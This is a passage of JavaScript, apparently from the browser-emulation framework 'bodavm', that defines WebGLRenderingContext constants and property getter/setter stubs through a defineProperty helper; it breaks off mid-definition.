-bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DECR_WRAP", {configurable:false, enumerable:true, writable:false, value:34056}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VENDOR", {configurable:false, enumerable:true, writable:false, value:7936}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERER", {configurable:false, enumerable:true, writable:false, value:7937}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERSION", {configurable:false, enumerable:true, writable:false, value:7938}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST", {configurable:false, enumerable:true, writable:false, value:9728}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR", {configurable:false, enumerable:true, writable:false, value:9729}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST_MIPMAP_NEAREST", {configurable:false, enumerable:true, writable:false, value:9984}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR_MIPMAP_NEAREST", {configurable:false, enumerable:true, writable:false, value:9985}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST_MIPMAP_LINEAR", {configurable:false, enumerable:true, writable:false, value:9986}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR_MIPMAP_LINEAR", {configurable:false, enumerable:true, writable:false, value:9987}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_MAG_FILTER", {configurable:false, enumerable:true, writable:false, value:10240}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_MIN_FILTER", {configurable:false, enumerable:true, writable:false, value:10241}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_WRAP_S", {configurable:false, enumerable:true, writable:false, value:10242}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_WRAP_T", {configurable:false, enumerable:true, writable:false, value:10243}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE", {configurable:false, enumerable:true, writable:false, value:5890}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP", {configurable:false, enumerable:true, writable:false, value:34067}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_BINDING_CUBE_MAP", {configurable:false, enumerable:true, writable:false, value:34068}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_X", {configurable:false, enumerable:true, writable:false, value:34069}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_X", {configurable:false, enumerable:true, writable:false, value:34070}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Y", {configurable:false, enumerable:true, writable:false, value:34071}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Y", {configurable:false, enumerable:true, writable:false, value:34072}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Z", {configurable:false, enumerable:true, writable:false, value:34073}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Z", {configurable:false, enumerable:true, writable:false, value:34074}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_CUBE_MAP_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:34076}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE0", {configurable:false, enumerable:true, writable:false, value:33984}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE1", {configurable:false, enumerable:true, writable:false, value:33985}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE2", {configurable:false, enumerable:true, writable:false, value:33986}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE3", {configurable:false, enumerable:true, writable:false, value:33987}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE4", {configurable:false, enumerable:true, writable:false, value:33988}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE5", {configurable:false, enumerable:true, writable:false, value:33989}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE6", {configurable:false, enumerable:true, writable:false, value:33990}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE7", {configurable:false, enumerable:true, writable:false, value:33991}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE8", {configurable:false, enumerable:true, writable:false, value:33992}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE9", {configurable:false, enumerable:true, writable:false, value:33993}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE10", {configurable:false, enumerable:true, writable:false, value:33994}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE11", {configurable:false, enumerable:true, writable:false, value:33995}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE12", {configurable:false, enumerable:true, writable:false, value:33996}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE13", {configurable:false, enumerable:true, writable:false, value:33997}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE14", {configurable:false, enumerable:true, writable:false, value:33998}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE15", {configurable:false, enumerable:true, writable:false, value:33999}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE16", {configurable:false, enumerable:true, writable:false, value:34000}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE17", {configurable:false, enumerable:true, writable:false, value:34001}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE18", {configurable:false, enumerable:true, writable:false, value:34002}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE19", {configurable:false, enumerable:true, writable:false, value:34003}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE20", {configurable:false, enumerable:true, writable:false, value:34004}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE21", {configurable:false, enumerable:true, writable:false, value:34005}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE22", {configurable:false, enumerable:true, writable:false, value:34006}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE23", {configurable:false, enumerable:true, writable:false, value:34007}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE24", {configurable:false, enumerable:true, writable:false, value:34008}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE25", {configurable:false, enumerable:true, writable:false, value:34009}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE26", {configurable:false, enumerable:true, writable:false, value:34010}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE27", {configurable:false, enumerable:true, writable:false, value:34011}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE28", {configurable:false, enumerable:true, writable:false, value:34012}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE29", {configurable:false, enumerable:true, writable:false, value:34013}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE30", {configurable:false, enumerable:true, writable:false, value:34014}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE31", {configurable:false, enumerable:true, writable:false, value:34015}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_TEXTURE", {configurable:false, enumerable:true, writable:false, value:34016}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "REPEAT", {configurable:false, enumerable:true, writable:false, value:10497}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CLAMP_TO_EDGE", {configurable:false, enumerable:true, writable:false, value:33071}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MIRRORED_REPEAT", {configurable:false, enumerable:true, writable:false, value:33648}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC2", {configurable:false, enumerable:true, writable:false, value:35664}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC3", {configurable:false, enumerable:true, writable:false, value:35665}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC4", {configurable:false, enumerable:true, writable:false, value:35666}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC2", {configurable:false, enumerable:true, writable:false, value:35667}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC3", {configurable:false, enumerable:true, writable:false, value:35668}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC4", {configurable:false, enumerable:true, writable:false, value:35669}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL", {configurable:false, enumerable:true, writable:false, value:35670}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC2", {configurable:false, enumerable:true, writable:false, value:35671}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC3", {configurable:false, enumerable:true, writable:false, value:35672}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC4", {configurable:false, enumerable:true, writable:false, value:35673}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT2", {configurable:false, enumerable:true, writable:false, value:35674}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT3", {configurable:false, enumerable:true, writable:false, value:35675}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT4", {configurable:false, enumerable:true, writable:false, value:35676}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLER_2D", {configurable:false, enumerable:true, writable:false, value:35678}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLER_CUBE", {configurable:false, enumerable:true, writable:false, value:35680}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_ENABLED", {configurable:false, enumerable:true, writable:false, value:34338}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_SIZE", {configurable:false, enumerable:true, writable:false, value:34339}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_STRIDE", {configurable:false, enumerable:true, writable:false, value:34340}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_TYPE", {configurable:false, enumerable:true, writable:false, value:34341}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_NORMALIZED", {configurable:false, enumerable:true, writable:false, value:34922}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_POINTER", {configurable:false, enumerable:true, writable:false, value:34373}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34975}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "IMPLEMENTATION_COLOR_READ_TYPE", {configurable:false, enumerable:true, writable:false, value:35738}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "IMPLEMENTATION_COLOR_READ_FORMAT", {configurable:false, enumerable:true, writable:false, value:35739}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COMPILE_STATUS", {configurable:false, enumerable:true, writable:false, value:35713}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LOW_FLOAT", {configurable:false, enumerable:true, writable:false, value:36336}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MEDIUM_FLOAT", {configurable:false, enumerable:true, writable:false, value:36337}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "HIGH_FLOAT", {configurable:false, enumerable:true, writable:false, value:36338}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LOW_INT", {configurable:false, enumerable:true, writable:false, value:36339}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MEDIUM_INT", {configurable:false, enumerable:true, writable:false, value:36340}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "HIGH_INT", {configurable:false, enumerable:true, writable:false, value:36341}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER", {configurable:false, enumerable:true, writable:false, value:36160}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER", {configurable:false, enumerable:true, writable:false, value:36161}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGBA4", {configurable:false, enumerable:true, writable:false, value:32854}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB5_A1", {configurable:false, enumerable:true, writable:false, value:32855}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB565", {configurable:false, enumerable:true, writable:false, value:36194}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_COMPONENT16", {configurable:false, enumerable:true, writable:false, value:33189}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_INDEX8", {configurable:false, enumerable:true, writable:false, value:36168}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_STENCIL", {configurable:false, enumerable:true, writable:false, value:34041}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_WIDTH", {configurable:false, enumerable:true, writable:false, value:36162}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_HEIGHT", {configurable:false, enumerable:true, writable:false, value:36163}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_INTERNAL_FORMAT", {configurable:false, enumerable:true, writable:false, value:36164}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_RED_SIZE", {configurable:false, enumerable:true, writable:false, value:36176}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_GREEN_SIZE", {configurable:false, enumerable:true, writable:false, value:36177}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_BLUE_SIZE", {configurable:false, enumerable:true, writable:false, value:36178}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_ALPHA_SIZE", {configurable:false, enumerable:true, writable:false, value:36179}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_DEPTH_SIZE", {configurable:false, enumerable:true, writable:false, value:36180}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_STENCIL_SIZE", {configurable:false, enumerable:true, writable:false, value:36181}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE", {configurable:false, enumerable:true, writable:false, value:36048}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_NAME", {configurable:false, enumerable:true, writable:false, value:36049}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL", {configurable:false, enumerable:true, writable:false, value:36050}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE", {configurable:false, enumerable:true, writable:false, value:36051}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_ATTACHMENT0", {configurable:false, enumerable:true, writable:false, value:36064}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36096}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36128}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_STENCIL_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:33306}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NONE", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_COMPLETE", {configurable:false, enumerable:true, writable:false, value:36053}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36054}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36055}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_DIMENSIONS", {configurable:false, enumerable:true, writable:false, value:36057}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_UNSUPPORTED", {configurable:false, enumerable:true, writable:false, value:36061}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36006}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36007}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_RENDERBUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:34024}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_FRAMEBUFFER_OPERATION", {configurable:false, enumerable:true, writable:false, value:1286}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_FLIP_Y_WEBGL", {configurable:false, enumerable:true, writable:false, value:37440}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_PREMULTIPLY_ALPHA_WEBGL", {configurable:false, enumerable:true, writable:false, value:37441}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONTEXT_LOST_WEBGL", {configurable:false, enumerable:true, writable:false, value:37442}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_COLORSPACE_CONVERSION_WEBGL", {configurable:false, enumerable:true, writable:false, value:37443}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BROWSER_DEFAULT_WEBGL", {configurable:false, enumerable:true, writable:false, value:37444}); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "canvas", {configurable:true, enumerable:true, get:function canvas (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "canvas_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawingBufferWidth", {configurable:true, enumerable:true, get:function drawingBufferWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawingBufferWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawingBufferHeight", {configurable:true, enumerable:true, get:function drawingBufferHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawingBufferHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawingBufferColorSpace", {configurable:true, enumerable:true, get:function drawingBufferColorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawingBufferColorSpace_get", arguments)}, set:function drawingBufferColorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawingBufferColorSpace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "unpackColorSpace", {configurable:true, enumerable:true, get:function unpackColorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "unpackColorSpace_get", arguments)}, set:function unpackColorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "unpackColorSpace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:256},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:1024},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:16384},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POINTS", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINES", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_LOOP", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_STRIP", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLES", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLE_STRIP", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLE_FAN", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ZERO", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_COLOR", {configurable:false, enumerable:true, writable:false, value:768},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_SRC_COLOR", {configurable:false, enumerable:true, writable:false, value:769},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:770},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:771},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:772},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:773},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DST_COLOR", {configurable:false, enumerable:true, writable:false, value:774},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_DST_COLOR", {configurable:false, enumerable:true, writable:false, value:775},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_ALPHA_SATURATE", {configurable:false, enumerable:true, writable:false, value:776},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_ADD", {configurable:false, enumerable:true, writable:false, value:32774},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION", {configurable:false, enumerable:true, writable:false, value:32777},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION_RGB", {configurable:false, enumerable:true, writable:false, value:32777},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION_ALPHA", {configurable:false, enumerable:true, writable:false, value:34877},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_SUBTRACT", {configurable:false, enumerable:true, writable:false, value:32778},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_REVERSE_SUBTRACT", {configurable:false, enumerable:true, writable:false, value:32779},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_DST_RGB", {configurable:false, enumerable:true, writable:false, value:32968},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_SRC_RGB", {configurable:false, enumerable:true, writable:false, value:32969},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:32970},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:32971},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONSTANT_COLOR", {configurable:false, enumerable:true, writable:false, value:32769},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_CONSTANT_COLOR", {configurable:false, enumerable:true, writable:false, value:32770},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONSTANT_ALPHA", {configurable:false, enumerable:true, writable:false, value:32771},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_CONSTANT_ALPHA", {configurable:false, enumerable:true, writable:false, value:32772},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_COLOR", {configurable:false, enumerable:true, writable:false, value:32773},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ARRAY_BUFFER", {configurable:false, enumerable:true, writable:false, value:34962},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ELEMENT_ARRAY_BUFFER", {configurable:false, enumerable:true, writable:false, value:34963},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34964},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ELEMENT_ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34965},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STREAM_DRAW", {configurable:false, enumerable:true, writable:false, value:35040},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STATIC_DRAW", {configurable:false, enumerable:true, writable:false, value:35044},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DYNAMIC_DRAW", {configurable:false, enumerable:true, writable:false, value:35048},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:34660},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BUFFER_USAGE", {configurable:false, enumerable:true, writable:false, value:34661},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CURRENT_VERTEX_ATTRIB", {configurable:false, enumerable:true, writable:false, value:34342},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT", {configurable:false, enumerable:true, writable:false, value:1028},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BACK", {configurable:false, enumerable:true, writable:false, value:1029},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT_AND_BACK", {configurable:false, enumerable:true, writable:false, value:1032},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_2D", {configurable:false, enumerable:true, writable:false, value:3553},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CULL_FACE", {configurable:false, enumerable:true, writable:false, value:2884},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND", {configurable:false, enumerable:true, writable:false, value:3042},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DITHER", {configurable:false, enumerable:true, writable:false, value:3024},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_TEST", {configurable:false, enumerable:true, writable:false, value:2960},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_TEST", {configurable:false, enumerable:true, writable:false, value:2929},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SCISSOR_TEST", {configurable:false, enumerable:true, writable:false, value:3089},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_FILL", {configurable:false, enumerable:true, writable:false, value:32823},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_ALPHA_TO_COVERAGE", {configurable:false, enumerable:true, writable:false, value:32926},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE", {configurable:false, enumerable:true, writable:false, value:32928},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NO_ERROR", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_ENUM", {configurable:false, enumerable:true, writable:false, value:1280},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_VALUE", {configurable:false, enumerable:true, writable:false, value:1281},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_OPERATION", {configurable:false, enumerable:true, writable:false, value:1282},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "OUT_OF_MEMORY", {configurable:false, enumerable:true, writable:false, value:1285},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CW", {configurable:false, enumerable:true, writable:false, value:2304},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CCW", 